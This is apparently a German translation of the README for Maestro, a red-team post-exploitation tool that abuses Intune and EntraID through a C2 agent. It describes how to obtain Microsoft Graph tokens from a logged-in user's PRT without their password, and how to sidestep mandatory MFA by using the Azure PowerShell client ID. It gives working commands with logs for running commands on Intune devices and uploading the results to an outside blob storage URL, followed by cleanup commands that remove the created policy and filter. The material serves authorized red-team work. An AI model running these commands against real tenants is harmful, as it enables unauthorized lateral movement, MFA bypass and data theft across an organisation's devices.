
Abusing Azure services over C2
Maestro ist ein Post-Exploitation-Tool, das dafür entwickelt wurde, von einem C2-Agenten auf dem Arbeitsplatzrechner eines Benutzers mit Intune/EntraID zu interagieren, ohne dass Kenntnis des Benutzerpassworts, Azure-Authentifizierungsabläufe, Token-Manipulation oder eine webbasierte Verwaltungskonsole erforderlich sind. Maestro macht die Interaktion mit Intune und EntraID (und potenziell anderen Azure-Diensten) über C2 erheblich einfacher, da der Operator weder das Klartext-Passwort des Benutzers benötigen, Cookies für primäre Aktualisierungstoken (PRT) aus dem System extrahieren, zusätzliche Tools oder eine Browsersitzung über einen SOCKS-Proxy ausführen noch sich mit Azure-Authentifizierungsabläufen, Token oder Conditional-Access-Richtlinien befassen muss, um Aktionen in Azure im Namen des angemeldeten Benutzers auszuführen.
Maestro ist im Wesentlichen ein Wrapper für lokale PRT-Cookie-Anfragen und Aufrufe der Microsoft Graph API, angereichert mit vielen Komfortfunktionen für Red Teams. Maestro ermöglicht Angriffspfade zwischen On-Premises-Umgebungen und Azure. Wenn Sie Maestro beispielsweise auf dem Rechner eines Intune-Administrators ausführen, können Sie PowerShell-Skripte auf jedem registrierten Gerät ausführen, ohne jemals die Anmeldedaten des Administrators zu kennen – selbst wenn MFA, Gerätekonformität und ein hybrid eingebundenes Gerät von Conditional-Access-Richtlinien gefordert werden.
Die Lateral-Movement-Funktionen von Maestro wurden von Death from Above: Lateral Movement from Azure to On-Prem AD von Andy Robbins (@_wald0) inspiriert.
Weitere Informationen finden Sie in diesem Einführungs-Blogbeitrag zu Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
In diesem Repository gibt es eine kompilierte Version mit der Build-Konfiguration ReleasePlusMSAL. Beachten Sie, dass diese Konfiguration die MSAL-Abhängigkeiten in die .exe integriert, dadurch aber die Größe der resultierenden Binärdatei erheblich erhöht. Wenn Sie nicht planen, die Methode -m 2 zum Anfordern von Zugriffstoken (SharpGetEntraToken über MSAL) zu verwenden, können Sie einen Release-Build kompilieren, und die Größe wird deutlich reduziert.
Seit Februar 2025 führt Microsoft die verpflichtende MFA-Durchsetzung für die Authentifizierung beim Azure-Portal und seinen Erweiterungen ein. Die Standardmethode zur Anforderung von Zugriffstoken über den Auth-Code-Flow wird in diesem Fall wahrscheinlich fehlschlagen. Die Verwendung von SharpGetEntraToken/MSAL (Option -m 2) und die Angabe einer Client-ID, die kein MFA erfordert, wie Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), sollte jedoch weiterhin funktionieren.
Maestro.exe <command> [subcommand] [options]
Alle Befehle und Unterbefehle besitzen eine Hilfeseite, die mit einem eigenen Befehlszeilenparser generiert wird, um die Größe der Binärdatei minimal zu halten. Hilfeseiten können aufgerufen werden, indem Sie einen beliebigen Maestro-Befehl gefolgt von -h oder --help eingeben.
Die aktuellsten Nutzungsinformationen finden Sie in der Ausgabe der Option --help für jeden Befehl.
Beispiele finden Sie am Ende dieser Datei.
Zum Debuggen teile ich ein Verzeichnis auf einem bei Intune registrierten Rechner, das von meinem Host mit Visual Studio aus zugänglich ist, führe den Visual Studio Remote Debugger aus, konfiguriere einen Post-Build-Job, der die Projektmappendateien in die Freigabe kopiert, und konfiguriere Visual Studio für das Remotedebuggen auf dem registrierten System.
Die Zeit, die ich in die Recherche, Entwicklung und Verbesserung von Maestro investieren kann, wäre ohne das Sponsoring von SpecterOps nicht möglich, das im Rahmen ihres Engagements für Transparenz und Unterstützung von Open-Source-Entwicklung erfolgt. Ich bin für ihre Anleitung und Unterstützung unendlich dankbar.
Einige Maestro-Funktionen wurden von den Arbeiten anderer inspiriert oder auf deren Grundlage erstellt, darunter:
Wenn Sie an einer Zusammenarbeit interessiert sind, melden Sie sich doch bei mir auf Twitter (@_Mayyhem) oder im BloodHoundGang-Slack!
Holen Sie ein Zugriffstoken für MS Graph mit MSAL und der Azure-PowerShell-Client-ID (noch nicht durch die verpflichtende MFA verhindert):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
Führen Sie dsregcmd.exe auf dem Intune-Gerät mit der ID e537180b-6d04-427e-bf93-dbde818400eb aus und laden Sie die Ergebnisse in die SAS-URL des Azure Storage Blob Containers mit einem Shared-Access-Token hoch:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902